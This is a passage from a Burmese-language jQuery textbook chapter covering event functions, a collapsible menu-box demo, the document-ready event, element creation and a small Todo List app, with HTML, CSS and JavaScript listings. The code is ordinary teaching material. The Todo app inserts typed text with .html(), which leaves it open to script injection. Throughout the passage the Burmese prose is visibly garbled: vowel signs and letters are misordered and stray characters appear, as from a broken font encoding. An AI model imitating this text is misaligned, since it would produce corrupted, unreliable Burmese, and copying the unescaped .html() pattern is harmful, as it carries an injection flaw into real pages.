Element  ဟတုမ်နှရ်ေင်  true ဆုိတဲ့ ရေလဒကုိ်ြ ပပနရ်ေမာှပဖေစ်ပါတယ်။  $("input#email").is(":focus")
လို့ သံုးတဲ့ အခါ Select လပု် ထားတဲ့ #email <input> မာှ Focus ပဖေစ်ိနရေင် true ရေလဒကုိ်ြ ပပန်ိ ပးမာှ ပဖေစ်ပါ
တယ်။

-------------------------------------------------------------------------

ိဖောပ်ပခဲ့တဲ့  Function  ိတကုိွြ  ိလလ့ာအကြည့်ရေင်  DOM  Manipulation  ကုိြ  jQuery  နဲ့  ိဆာငရ်ေက်ွြပခငး်ကြ
JavaScript  သက်ြသက်ြနဲ့  ိရေးသားပခငး်ထက်ြ အများကကီြး ပိုမိုထိိ ရောက်ြိစနိုငတ်ာကုိြ သတပိပုမမိာှပါ။  တစ်ချို ့ကိြစ္စ
ိတကွြ ဒတီိုငး် ိပပာလို့ မပမငပ်ါဘူး။ လက်ြိတွ့ိလးလပုအ်ကြည့်လိုက်ြမှ ပိုရေငှး်တက်ြပါတယ်။ လက်ြိတွ့တစ်ချို ့မအကြည့်
ခင ် Events ိတနွဲ့ ပတသ်က်ြပပးီ ပဖေည့်စွက်ြိလလ့ာရေပါဦးမယ်။
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5.8 - jQuery Events
HTML Element  ိတမွာှ  onClick, onMouseOver, onKeyPress စသပဖေင့်  Event  Attribute  ိတွ
သတမ်တှပ်ပးီ အသံုးပပုသူရေဲ့လပု်ိ ဆာငခ်ျက်ြိပါ်မတူညပ်ပးီိဆာငရ်ေက်ွြိပးတဲ့  JavaScript Function ိတ ွသတမ်တှ်
ိပး နိုငပ်ုံကုိြ  အခနး်  (၄) မာှ ိလ့လာခဲ့ပါတယ်။  jQuery  မာှိတာ့ အ့ဲဒလီို  HTML Event Attribute  ိတကုိွြ မှီခို
စရော မလိုိ တာပ့ဲ  JavaScript  ကြိနပဲ သက်ြဆုိငရ်ော  Element  ိတအွတက်ွြ Event  ိတကုိွြ တွဲဖေက်ြသက်ြမတှန်ိုငမ်ာှ
ပါ။ JavaScript သက်ြသက်ြနဲလ့ညး် အလားတူ လပု်ိ ဆာငခ်ျက်ြမျို း ရေနိုင်ိ ပမယ့် ထုံးစံအတိုင်း jQuery ကြိတာ့ ပို
လယ်ွိအာင ်လပု်ိ ပးထားပါတယ်။

ပုံ (၅-ဃ) jQuery Click Event

ပုံ  (၅-ဃ) မာှ  click() Function  အသံုးပပုပုံကုိြ  ိဖောပ်ပထားပါတယ်။  <button> ကုိြ  Click  နှိပလ်ိုက်ြရေင်
click() Function ရေဲ့  Parameter အပဖေစ်ိပးထားတဲ့ Nameless Function ကုိြ Evaluate လုပ်ိ ပးသွားမာှပဖေစ်
ပါတယ်။ onClick Attribute ကုိြ <button> မာှ သွားထည့်ိ နစရော မလိုိ တာပ့ါဘးူ။ ရုိးစင်းတဲ့လက်ြိတွ့နမနူာ
တစ်ခ ုိဖောပ်ပိပးလိုက်ြပါတယ်။ ကူြးယူစမး်သပအ်ကြည့်ပါ။

<!doctype html> 
<html> 
<head> 
  <title>jQuery Click Event</title> 
</head> 
<body> 
  <div id="note">Hello, World!</div> 
  <button>Toggle</button> 

  <script src="jquery.js"></script> 
  <script> 
    $("button").click( function () { 
      $("#note").slideToggle("fast"); 
    }); 
  </script> 
</body> 
</html> 
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နမနူာမာှ  <button> ကုိြ  Click  လုပလ်ိုက်ြတဲ့အခါ  သတမ်တှထ်ားတဲ့  Function  ကုိြအလပုလ်ပုသွ်ားမာှပဖေစ်လို့
#note Element  ကြ  Slide Effect  ိလးနဲ့  ိပျာက်ြသွားမာှပါ။  <button> ကုိြိနာက်ြတစ်ကကိြမန်ှိပရ်ေင်  #note
Element ပပန ်ိပါ်လာပါလမိ့်မယ်။ အသံုးများတဲ့ jQuery Event Function ိတကုိွြ ိဖောပ်ပိပးလိုက်ြပါတယ်။

$(selector).click() - Element  ကုိြ  Click  လပုလ်ိုက်ြတဲ့အခါ ိဆာငရ်ေက်ွြိစလိုတဲ့  Function  သတမ်တှ်
နိုငပ်ါ တယ်။

-------------------------------------------------------------------------

$(selector).dblclick() -  Element  ကုိြ  Double  Click  လပုလ်ိုက်ြတဲ့အခါ  ိဆာငရ်ေက်ွြိစလိုတဲ့
Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).mouseenter() -  Element  ကုိြ  Mouse  နဲ့  ိထာက်ြလိုက်ြတဲ့အခါ  ိဆာငရ်ေက်ွြိစလိုတဲ့
Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).mouseleave() - Element ကုိြ Mouse နဲ့ ိထာက်ြထားရောကြ ပပနထ်က်ွြသွားတဲ့အချနိ် ိဆာင်
ရေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).mousemove() -  Element  ကုိြ  Mouse  နဲ့  ိထာက်ြထားတဲ့အချနိ်  Mouse  လှုပတ်ိုငး်
ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).hover() -  mouseenter() နဲ့  mouseleave() ကုိြ  ိပါငး်ထားတာပါ။  ဒါိအကြာင့်
hover() Function ကုိြ အသံုးပပုတဲ့အခါ Function နစ်ှခုိ ပးရေပါတယ်။ တစ်ခကုြ mouseenter() အတက်ွြပဖေစ်
ပပးီ ိနာက်ြတစ်ခကုြ mouseleave() အတက်ွြပဖေစ်ပါတယ်။ ဥပမာ - 

$("a.back").hover(function() {
  ...
}, function() {
  ...
});

-------------------------------------------------------------------------



Professional Web Developer - အခန်း (၅) jQuery 147

$(selector).focus() - Element ကုိြ Focus ပဖေစ်ိနတဲ့အချနိ် ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုင်
ပါတယ်။

-------------------------------------------------------------------------

$(selector).blur() -  Element  ကြ  Focus  ပဖေစ်ိနရောိန ပပနပ်ပးီ  Focus  Lost  ပဖေစ်သွားတဲ့အချနိ်
ိဆာငရ်ေက်ွြ ိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).keydown() - Element  မာှ  Focus  ပဖေစ်ိနစဉ်  Keyboard  ကြ Key  တစ်ခခုကုိုြ နှိပလ်ိုက်ြတဲ့
အချနိ် ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။ Key ကုိြ နှိပခ်ျလိုက်ြတဲ့အချနိ ်အလပုလ်ပုမ်ာှပါ။

-------------------------------------------------------------------------

$(selector).keyup() - keydown() နဲ့ သိဘာပခငး် အတတူပူါပ။ဲ သူကြိတာ့ Key ကုိြ နှိပလ်ိုက်ြပပးီ ပပန်
လွှတလ်ိုက်ြချနိမ်ှ ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).keypress() -  အအကြမ်းဖေျဉး်အားပဖေင့်  keyup() နဲ့  အတတူပူါပ။ဲ  သူကြိတာ့  Key  နှိပတ်ဲ့
Process ပပးီိပမာက်ြသွားလို့ ရုိက်ြလိုက်ြတဲ့စာလုံးိပါ်လာပပီ ဆုိတဲ့အချနိမ်ာှ ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှ်
နိုငပ်ါ တယ်။ သဘာဝ ကုိြ ပမငသ်ာိအာငသ်ာိပပာတာပါ။ လက်ြိတွ့  မာှ Esc တို့ Shift တို့ Ctrl တို့လို တစ်ချို ့  Key
ိတကုိွြ နှိပရ်ေင ်စာလုံးမိပါ်ပါဘးူ။ 

-------------------------------------------------------------------------

$(selector).scroll() - Element မာှ Focus ပဖေစ်ိနစဉ ်Scroll Wheel လှိမ့်၍ပဖေစ်ပဖေစ် Scroll Bar ကြိန
ပဖေစ်ပဖေစ် Scroll ဆဲွသွားတဲ့အခါ ိဆာငရ်ေက်ွြိစလိုတဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

$(selector).change() -  Element  ရေဲ့  တနဖ်ေိုးိပပာငး်လသွဲားတဲ့အချနိမ်ာှ  ိဆာငရ်ေက်ွြိစလိုတဲ့  Function
သတမ်တှန်ိုငပ်ါတယ်။ Form Input Element ိတအွတက်ွြသံုးပါတယ်။

-------------------------------------------------------------------------

$(selector).submit() - Form တစ်ခမုာှပါဝငတ်ဲ့ Submit Button ကုိြ နှိပလ်ိုက်ြတဲ့အချနိ ်ိဆာငရ်ေက်ွြိစလို
တဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။ <form> Element အတက်ွြ သံုးရေပါတယ်။
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$(selector).ready() -   ready() Function  ကုိြိတာ့  document Object  နဲ့  တဲွသံုးိလရ့ေှိပါတယ်။
Document  မာှ ပါဝငသ်မျှ Element  အားလုံးကုိြ  Load  လုပပ်ပးီလို့ အားလုံးအသင့်ပဖေစ်ိ နပပဆုိီမှ ိဆာငရ်ေက်ွြိစလို
တဲ့ Function သတမ်တှန်ိုငပ်ါတယ်။

-------------------------------------------------------------------------

ဒလီိုမျို း click(), focus() စတဲ့ Event Function ိတကုိွြ တိုက်ြရုိကြသံု်းမယ့အ်စား on() Method ကြိန
တစ်ဆင့်လညး် အသံုးပပုနိုငပ်ါတယ်။ ဥပမာ -

$("button").on( "click", function () { 
    $("#note").slideToggle("fast"); 
});

ဒနီညး်ကြ  ိနာက်ြပိုငး်  jQuery  Version  ိတမွာှ  ပါလာတဲ့  နညး်သစ်ပဖေစ်ပါတယ်။  click() Function  ကုိြ
တိုက်ြရုိကြအ်သံုးပပုပခင်းနဲ့ on("click") ကုိြ အသံုးပပုပခငး်အားပဖေင့် ရေရေှိမယ့် အလပုလ်ပုပ်ုံ ကြိတာအ့တတူပူါပ။ဲ ဒါ
ိပမယ့်  ကြျွမး်ကြျငသူ်များကြ  click(), focus(), mouseover()  စတဲ့  Function  ိတကုိွြ  တိုက်ြရုိကြ်
အသံုးပပုမယ့်အစား on("click"), on("focus"), on("mouseover")  စသပဖေင့် အစားထိုးအသံုးပပု
အကြဖေို့ တိုက်ြတနွး်အကြပါတယ်။ ဘာိအကြာင့်ဒလီိုတိုက်ြတနွး်ရေသလဆုိဲတဲ့ အိအကြာငး်ရေငး် အိသးစိတကုိ်ြိတာ့ ိလ့လာစ
လူိ တ ွနားရှုပသွ်ားမာှစုိးလို့ ဒီိ နရောမာှ ထည့်မိပပာိတာပ့ါဘးူ။ အိပခခသံိဘာသဘာဝိတကုိွြ ိသချာနားလည် ပပးီ
ပပဆုိီမှ ကုိြယ်တိုင ်ဆက်ြလက်ြိလလ့ာအကြည့်လိုက်ြပါ။

5.9 - Menu Boxes Example 
နညး်နညး်ပိုပပီး စိတဝ်ငစ်ားဖေိုိ့ ကြာငး်တဲ့ နမနူာတစ်ခုိ လာက်ြ ိဖောပ်ပချငပ်ါတယ်။ အဖေငွ့်အပတိ် လပုလ်ို့ရေတဲ့  Menu
Boxes ိလး ဖေနး်တးီအကြည့်ပါမယ်။

ပုံ (၅-င) jQuery Slide Menu
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ပုံ  (၅-င) မာှပပထားသလို  သက်ြဆုိငရ်ောိခါငး်စဉကုိ်ြနှိပ်ိ ပးပခင်းအားပဖေင့်  Box  ိလးိတကုိွြ  အဖေငွ့်အပတိလ်ပုန်ိုင်
ိအာင်  ဖေနတ်းီမာှပါ။  အခခုျနိမ်ာှ  Document  Type  Declaration  ိတ၊ွ  <html> <head> <body> ိတွ
အကုြန်ိ ရေးပပိနစရော  မလိုိ တာဘ့းူလို့ယူဆပါတယ်။  လိုအပတ်ဲ့အပိုငး်ကုိြပဲ  ိဖောပ်ပိပးပါိတာမ့ယ်။  ပထမဦးဆံုး
HTML Document တစ်ခု ကုိြ ကုိြယ်တိုငတ်ည်ိ ဆာက်ြပပးီ ိပးထားတဲ့ Structure ကုိြ <body> Element အတငွး်
မာှကူြးယူ ထည့်သွငး်လိုက်ြပါ။

<div class="box">
  <h3>Products</h3>
  <ul>
    <li><a href="#">Icon Pack</a></li>
    <li><a href="#">Texture Set</a></li>
    <li><a href="#">Design Template</a></li>
  </ul>
</div>

<div class="box">
  <h3>Services</h3>
  <ul>
    <li><a href="#">Web Design</a></li>
    <li><a href="#">Logo Design</a></li>
    <li><a href="#">Web Development</a></li>
  </ul>
</div>

<div class="box">
  <h3>Connect</h3>
  <ul>
    <li><a href="#">Facebook</a></li>
    <li><a href="#">Twitter</a></li>
    <li><a href="#">Google+</a></li>
  </ul>
</div>

ဆက်ြလက်ြပပးီ <style> အဖေငွ့်အပတိန်ဲ ့ CSS Style တစ်ချို ့ထည့်သွငး်ိပးပါဦး။

.box {
  width: 220px;
  border: 1px solid #a22;
  padding: 1px;
  margin-bottom: 8px;
}

.box h3 {
  color: #fff;
  background: #c22;
  padding: 8px;
  margin: 0;
  cursor: pointer;
}
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.box h3.up {
  color: #d99;
}

.box a {
  color: #900;
}

HTML နဲ့  CSS ိတကုိွြ တစ်ခပုခငး် ရေငှး်ပပမိနိတာပ့ါဘးူ။ အသစ်အဆနး် မပါပါဘးူ။ ကြျွန်ိ တာတ်ို့ ိလ့လာခဲ့ပပးီ
ပဖေစ်တဲ့ HTML/CSS ိတကုိွြပအဲသံုးပပုထားတာပါ။ .box h3.up { … } ဆုိပပီး ကကိြုတင်ိ ရေးသားထားတဲ့ တစ်
ချက်ြကုိြိတာသ့တပိပုပါ။  up Class  ကြ ိလာိလာဆယ်ဘယ်  Element  အတက်ွြမသှတမ်တှမ်ထားပါဘးူ။ လိုအပ်
လာမာှမို့ ကကိြုတင်ိ ရေးသား ိပးထားတာပါ။

ဆက်ြလက်ြပပးီ <script src=""> သံုးပပးီ jquery.js File ကုိြ ချတိဆ်က်ြိပးပါ။ ပပးီရေင်ိ နာက်ြ <script>
အဖေငွ့်အပတိန်ဲ့ ိအာက်ြပါ  JavaScript ကုိြ ထည့်သွငး်ိရေးသားိပးပါ။

$("h3").click(function() {

  var parent = $(this).parent();
  $("ul", parent).slideToggle("fast");
  $(this).toggleClass("up");

});

သံုးိလးိအကြာငး်ိလာက်ြိရေးလိုက်ြယံုနဲ့  ကြျွန်ိ တာတ်ို့လိုချငတ်ဲ့ရေလဒ် ရေရေှိပပပီဖေစ်ပါတယ်။ နမနူာမာှ  <h3> Element
ိတ ွအားလုံးအတက်ွြ click() Function သတမ်တှ်ိ ပးထားပါတယ်။ $(this) ရေဲ့အဓပိ္ပါယ်ကြ လက်ြရေှိ  Click
လပုလ်ိုက်ြတဲ့ Element ကုိြ Select လပုလ်ိုက်ြတာပါ။

var parent = $(this).parent() ဆုိတဲ့လိုငး်ကြ Click  လပုလ်ိုက်ြတဲ့  <h3> ရေဲ့  Parent Element  ကုိြ
Select လုပပ်ပးီ parent Variable ထဲမာှထည့်ထားလိုက်ြတာပါ။

ိနာက်ြတစ်လိုငး်မာှ $("ul", parent) လိုိ့ ရေးသားပပးီ  parent ထဲကြ <ul> ကုိြ Select လုပထ်ားပါတယ်။
parent ကုိြ Filter အိနနဲ့ ထည့ိ် ပးထားတဲ့အတက်ွြ  jQeury ကြ Document တစ်ခလုုံးမာှ ရေှိသမျှ <ul> ိတကုိွြ
Select မလပု်ိ တာပ့ဲ Click လုပလ်ိုက်ြတဲ့ <h3> ရေဲ့  Parent Element ပဖေစ်တဲ့ <div> ထကဲြ <ul> ကုိြပဲ ိရေးွချယ်
Select  လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။  ဒနီညး်နဲ့  slideToggle() ကြ  <ul> အားလုံးမာှ  သွားအလပုမ်လပုပ်ဲ
Click လုပလ်ိုက်ြတဲ့ <h3> နဲ့ သက်ြဆုိငတ်ဲ့ <ul> ကုိြသာ သက်ြိရောက်ြိစိတာမ့ာှ ပဖေစ်ပါတယ်။

မတ်ှချကြ်  ။  ။ <script> Element  ိတွကြို  <body> အတွငး်ထဲမာှိရေးပါ။  ဒါိပမယ့်  တစပ်ခား  Element  ိတွ အားလံုးရေဲ့
ိအာကြ် ကြထားပါ။ အိပါ်မာှမထားပါနဲ့။  <script> Element နစှခ်မုာှ  jquery.js File ကြို ချိတ်ဆကြထ်ားတ့ဲ Element
ကြ အိပါ်ကြရေှိရေမာှ ပဖေစပ်ါတယ။် ိရေှ့နမနူာိတွမာှ ိနရောထားပုံကြိုသတိပပုမခိဲ့မာှပါ။ ဒါိပမယ့် မာှးတကြလုိ်ထ့ပသ်တိိပးတာပါ။
ိရေးသားတ့ဲ  Code အမာှး ိအကြာင့်မဟတ်ုပ ဲိနရောအထားအသိုိ အကြာင့်လညး် ပပဿနာပဖေစတ်ကြပ်ါတယ။်
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မတ်ှချကြ် ။ ။ jQuery DOM Selector  မာှ  Filter  ထည့်သငွး်လုိရ့ေပုံကြို  ပုံ  (၅-ဂ) မာှ ိဖောပ်ပထားပါတယ။် ပပနလ်ည် ိလ့လာ
အကြည့်ပါ။

လိုချငတ်ဲ့ရေလဒက်ြရေိနပါပပ။ီ ိနာက်ြဆံုးတစ်လိုငး်ကြ  အပိုထပထ်ည့်ိ ပးထားတာပါ။ toggleClass() ကုိြ သံုးပပီး
တစ်ကကိြမန်ှိပတ်ဲ့အခါ Click လုပလ်ိုက်ြတဲ့ <h3> မာှ up Class ထည့်ိ ပးသွားပပးီ ိနာက်ြတစ်ကကိြမပ်ပနန်ှိပတ်ဲ့အခါ up
Class  ကုိြ ပပနပ်ဖေုတ်ိ ပးသွားမာှပဖေစ်ပါတယ်။ ဒနီညး်နဲ့ပတိထ်ားတဲ့  Box  ရေဲ့  Title  နဲ့ ဖေငွ့်ထားတဲ့  Box Title  တို့ရေဲ့
ိဖောပ်ပပုံကုိြ ကဲွြပပားသွားိစပါတယ်။

ဒနီမနူာကြ ရုိးစင်းိပးမယ့်  အသံုးဝငန်ိုင်  ပါတယ်။  ဆက်ြလက်ြပပးီ  App  ိလးတစ်ခကုိုြ  jQuery  နဲ့  တည်ိ ဆာက်ြ
အကြည့်ချငပ်ါတယ်။ ဒါိပမယ့်  DOM Ready Event  နဲ့  jQuery DOM Object  တည်ိ ဆာက်ြပုံတို့ကုိြ  ပဖေည့်စွက်ြ
ိလလ့ာဖေိုလိုပါတယ်။

5.10 - DOM Ready Event
ိစာိစာကြိဖောပ်ပခဲ့တဲ့ နမနူာမာှ  JavaScript ိတကုိွြ ိအာက်ြမာှိရေးပါလိုိ့ ပပာခဲ့ပါတယ်။ ိအာက်ြမာှိရေးတာ အိလ့
အကြျင့်ိ ကြာငး်တစ်ခမုို့  ိအာက်ြမာှိရေးဖေိုိ့ ပပာခဲ့တာပါ။  ဒါိပမယ့်  အိပါ်မာှိရေးရေငလ်ညး်  အလပုလ်ပုမ်ာှမဟတုပ်ါ
ဘးူ။ အိပါ်မာှ ိရေးမယ်ဆိရုေင် $("h3").click(function() { … }) ဆုိတဲ့ Statement ကုိြအလပုလ်ပုဖ်ေို့
ကကိြုးစားတဲ့အခါ  <h3> Element ိတအွတက်ွြ onClick Event Function တွဲိ ပးနိုငမ်ာှမဟတုပ်ါဘးူ။ Browser
ကြ  Document  မာှ ပါဝငတ်ဲ့  Element  ိတကုိွြ အိပါ်ကြိနိအာက်ြ အစဉအ်လိုက်ြ အလပုလ်ပု်ိ နတာပဖေစ်လို့  အ့ဲဒီ
အချနိမ်ာှ  <h3> Element  ိတ ွအလညှ့်မိရောက်ြိသးပါဘးူ။  JavaScript  ကြတွဲဖေက်ြိပးဖေိုလ့ိုက်ြရောှိပမယ့်  <h3>
ကုိြ မိတွ့တဲ့ အတက်ွြ တဲွိပးနိုငမ်ာှမဟတုပ်ါဘးူ။ 

လက်ြိတွ့မာှ  Code  ိတကုိွြိနရောိရေးွပပးီ အပမဲိ ရေးိနရေရေငအ်ဆငမ်ိပပပါဘးူ။  Code Base  ကကီြးလာပပးီ  Structure
ရှုပ်ိ ထးွလာတာနဲ့အမျှ ပုံစံအမျို းမျို းနဲ့ိ ရေးသားဖေို့  လုိအပလ်ာနိုငပ်ါတယ်။ ဒါိအကြာင့်  ဘယ်နားမာှိရေးိရေး အဆင်ိ ပပ
ိပပ အလပုလ်ပု်ိ စဖေို့အတက်ွြ  jQuery  Code  ိတအွားလုံးကုိြ  ready() Function  အတငွး်မာှိရေးသားသင့်ပါ
တယ်။ ိစာိစာကြ ိဖောပ်ပခဲ့တဲ့ Menu Boxes အတက်ွြ Script ိတကုိွြ အခလုိုပပုပပင ်ိရေးသားသင့်ပါတယ်။

$(document).ready( function() {

  $("h3").click(function() {

    var parent = $(this).parent();
    $("ul", parent).slideToggle("fast");
    $(this).toggleClass("up");

  });

});

$(document).ready() ထဲမာှ ိရေးသားထားတဲ့ Code ိတကုိွြ jQuery ကြ Document တစ်ခလုုံးမာှပါဝငတ်ဲ့
Element  များအားလုံးအသင့်ပဖေစ်ပပဆုိီမှ  စတငအ်လပုလ်ပုမ်ာှပါ။  ဒါိအကြာင့်  jQuery  Code  ိတကုိွြ  Document
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Ready  Event  အတငွး်မာှထည့်သွငး်ိရေးသားသင့်ပါတယ်။  ဒီိ တာမ့ှ  Element  အသင့်မပဖေစ်ိသးလို့  ိရေးထားတဲ့
Code ကြ အလပုမ်လပုန်ိုငဘ်းူဆုိတဲ့ ပပဿနာမရေှိိ တာမ့ာှ ပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။  ready() Function အတွကြ် Select လုပခ်ိုငး်လုိကြတ်ာကြ CSS Selector မဟတ်ုပါဘးူ။ document လုိ့ ိခါ်
တ့ဲ  JavaScript Build-in Object ကြို ိပးလုိကြတ်ာပဖေစပ်ါတယ။် document ဟာ JavaScript Object ပဖေစတ့ဲ်အတွကြ် CSS
Selector လုိ ့Quote အဖေငွ့်အပတ်ိထဲမာှ ိရေးစရောမလုိတာကြိုသတိပပုပါ။

$(document).ready() ကုိြ အခလုိုလညး် အတိုိ ကြာက်ြလညး်ိရေးအကြပါိသးတယ်။

$(function() {
  $("h3").click(function() {
    var parent = $(this).parent();
    $("ul", parent).slideToggle("fast");
    $(this).toggleClass("up");
  });
});

document Object မပါိတာပ့ါဘးူ။ ready() Function လညး်မပါိတာပ့ါဘးူ။ jQuery အတက်ွြ Nameless
Function တစ်ခတုိုက်ြရုိက်ြိပးလိုက်ြပခငး်ပဖေစ်ပါတယ။် ရေရေှိမယ့်ရေလဒက်ြိတာ့ $(document).ready() အတငွး်
မာှိရေးပခငး်နဲ့အတတူပူပဲဖေစ်ပါတယ်။ ိရေးရေနညး်နညး်သက်ြသာလို့ ဒီိ ရေးနညး်ကုိြလညး်အသံုးများပါတယ်။ ကြျွန်ိ တာ်
တို့ ဆက်ြလက်ြ ိဖောပ်ပမယ့် နမနူာိတမွာှိတာ့ ဆုိလိုရေငး်အဓပိ္ပါယ် ပိုမိုိ ပါ်လငွတ်ဲ့  $(document).ready() ကုိြ
အသံုးပပုိဖောပ်ပိပးသွားမာှပါ။

5.11 - Creating jQuery DOM Objects
jQuery  နဲ့  Element  ိတ ွ Select  လုပလ်ို့ရေယုံသာမကြ  Element  အသစ်ိတတွည်ိ ဆာက်ြယူလို့လညး်ရေပါတယ။်
ဥပမာ  -  <input> Element  တစ်ခကုိုြ  jQuery  နဲ့  တည်ိ ဆာက်ြပပးီ  <form> Element  တစ်ခထုကုိဲြ အခလုို
ထည့်သွငး် လိုက်ြနိုငပ်ါတယ်။

var textInput = $("<input>", {
  "type": "text",
  "value": "John Doe",
  "name": "user-name",
  "id": "full-name"
});

$("form").append( textInput );

jQuery  Object  ပဖေစ်တဲ့  $ Sign  ကုိြ  Parameter  နစ်ှခုိ ပးထားပါတယ်။  ပထမတစ်ခကုြ  တည်ိ ဆာက်ြလိုတဲ့
Element အမျို းအစားပဖေစ်ပပီး ိနာက်ြတစ်ခကုြိတာ့ အ့ဲဒီ  Element မာှ ရေှိရေမယ့် Attribute ိတပွါ။  Attribute စာ
ရေငး်ကုိြ JSON အိနနဲ့ ိပးရေပါတယ်။  အခလုိုရေလဒကုိ်ြရေရေှိမာှပဖေစ်မာှပါ။
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<input type="text" value="John Doe" name="user-name" id="full-name">

သိသင့်တဲ့အိပခခံိ တစံုွပပမီို ့App ိလးတစ်ခုိ လာက်ြ နမနူာလပုအ်ကြည့်ချငပ်ါတယ်။

5.12 - jQuery Todo List App
Programming Language  တစ်ခအုိအကြာငး်ိလလ့ာတိုငး်မာှ  ပထမဦးဆံုး  Program  အိနနဲ့  ိရေးသားအကြိလရ့ေှိ
တာကြ ိတာ့  "Hello, World!" Program ပဖေစ်ပါတယ်။ အခု ကြျွန်ိ တာတ်ိုိ့ လလ့ာမယ့် Todo List App ဆုိတာ
လညး်  "Hello,  World!"  လုိပါပ။ဲ  Language  ရေဲ့  လပု်ိ ဆာငခ်ျက်ြိတကုိွြ  နညး်နညး်ပိုပပးီိလလ့ာဖေို့အတက်ွြ နမူ
နာိရေးသားိလရ့ေှိ  တဲ့  ရုိးစင်းတဲ့  App  တစ်မျို းပဖေစ်ပါတယ်။  လုပစ်ရောရေှိတဲ့  Task  ိတကုိွြမတှသ်ားထားပပးီ၊
ိဆာငရ်ေက်ွြပပးီစီးသွားတဲ့  Task  ိတကုိွြ ပပးီစီးိအကြာငး်မတှတ်မး်တငန်ိုငတ်ဲ့  App  တစ်မျို းပဖေစ်ပါတယ်။ ရေလဒကုိ်ြ ပုံ
(၅-စ) မာှ အကြည့်ပါ။

ပုံ (၅-စ) jQuery Todo List App

ပထမဦးဆံုး ိရေးသားရေမယ့် HTML Structure ကုိြ ိဖောပ်ပိပးလိုက်ြပါတယ်။
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<div id="wrap">
  <h1>Task List <span>0</span></h1>

  <ul id="tasks"></ul>
  <ul id="done"></ul>

  <div id="new-task">
    <input type="text"><button>+</button>
  </div>
</div>

HTML Structure  အပပည့်အစံု ကုိြိတာ့ ကုိြယ်တိုငပ်ဲိ ရေးသားပါ။ ိပးထားတဲ့နမနူာကုိြ  <body> အတငွး်မာှ ိရေး
ိပးပါ။ <style> အဖေငွ့်အပတိအ်တငွး်မာှ ိရေးသားရေမယ့် CSS ကုိြ ဆက်ြလက်ြိဖောပ်ပိပးလိုက်ြပါတယ်။

#wrap {
  width: 360px;
  margin: 20px auto;
  padding: 20px;
  border: 6px solid #DDD;
  overflow: hidden;
}

h1 {
  margin: 0 0 20px 0;
  padding: 0 0 5px 0;
  font-size: 18px;
  border-bottom: 1px solid #DDD;
}

h1 span {
  float: right;
  display: block;
  background: #9cf;
  font-size: 12px;
  padding: 2px 6px;
  color: #FFF;
}

ul {
  list-style: none;
  margin: 0; padding: 0;
}

ul li {
  overflow: hidden;
  padding: 4px 0;
}

li input, li span {
  float: left;
  margin-right: 6px;
}
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li a {
  float: right;
  text-decoration: none;
  font-weight: bold;
  color: #900;
  padding: 0 8px;
  display: none
}

li:hover a {
  display: inline;
}

#new-task {
  margin-top: 20px;
  padding-top: 10px;
  border-top: 1px solid #efefef;
  overflow: hidden;
}

#new-task input {
  border: 1px solid #DDD;
  border-right: 0 none;
  padding: 2px;
  width: 240px;
  height: 20px;
  float: left;
}
#new-task button {
  width: 30px;
  border: 1px solid #DDD;
  background: #eee;
  font-weight: bold;
  color: #666;
  padding: 2px 2px 3px 2px;
  float: left;
}

#done {
  line-height: 18px;
  margin-bottom: 10px;
}

#done span {
  text-decoration: line-through;
  font-size: 12px;
  color: #999;
}

HTML/CSS  ိရေးသားထားပုံကုိြ  အထးူရေငှး်ပပမိနိတာပ့ါဘူး။  စာဖေတသူ်ကုိြယ်တိုငပ်ဲ  ိလ့လာအကြည့်ပါိတာ။့
ဆက်ြလက်ြပပးီ <script src=""> သံုးပပးီ jquery.js File ကုိြ ချတိဆ်က်ြိပးပါ။ ပပးီရေင ်ိနာက်ြ <script>
အဖေငွ့်အပတိန်ဲ့ ဒီ  JavaScript ကုိြ ထည့်သွငး်ိရေးသားိပးပါ။
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$(document).ready(function() {
  $("#new-task button").click(function() {
    var task = $("#new-task input").val();

    if(!task) return false;

    buildTask(task).appendTo("#tasks");
    $("h1 span").html( $("#tasks li").length );

    $("#new-task input").val("").focus();
  });

  $("#new-task input").keydown(function(e) {
    if(e.which == 13)
      $("#new-task button").click();
  });
});

function buildTask(msg) {
  var checkbox = $("<input>", {
    type: "checkbox"
  }).click(function() {
    if($(this).is(":checked")) {
      $(this).parent().prependTo("#done");
    } else {
      $(this).parent().appendTo("#tasks");
    }

     $("h1 span").html( $("#tasks li").length );
  });

  var task = $("<span>").html(msg);

  var del = $("<a>", {
    href: "#"
  }).html("&times;").click(function() {
    $(this).parent().remove();
    $("h1 span").html( $("#tasks li").length );
  });

  return $("<li>").append(checkbox).append(task).append(del);
}

Code  ိတ ွရေငှး်ပပတာကုိြမအကြည့်ခင်  ိရေးထားတဲ့  Document  ကုိြ  Browser  နဲ့ဖေငွပ်ပးီ  အလပုလ်ပုပ်ုံကုိြ  အရေငစ်မ်း
အကြည့်လိုက်ြပါဦး။ Task အသစ်ိတ ွထည့်အကြည့်ပါ။ ပပနဖ်ေျက်ြအကြည့်ပါ။ တစ်ချို ့ Task ိတကုိွြ ပပးီစီးိအကြာငး် မတှသ်ား
တဲ့အိနနဲ့  Check  လပု်ိ ပးအကြည့်ပါ။  App  ရေဲ့  အလပုလ်ပုသွ်ားပုံကုိြသိရေှိပပီဆုိမှ  ိရေးသားထားတဲ့  Code  ိတကုိွြ
ဆက်ြလက်ြ ိလလ့ာသင့်ပါတယ်။

Document Ready ထမဲာှ <button> အတက်ွြ Click Event တစ်ခု သတမ်တှ်ိ ပးထားပါတယ်။ ိဆာငရ်ေက်ွြမယ့်
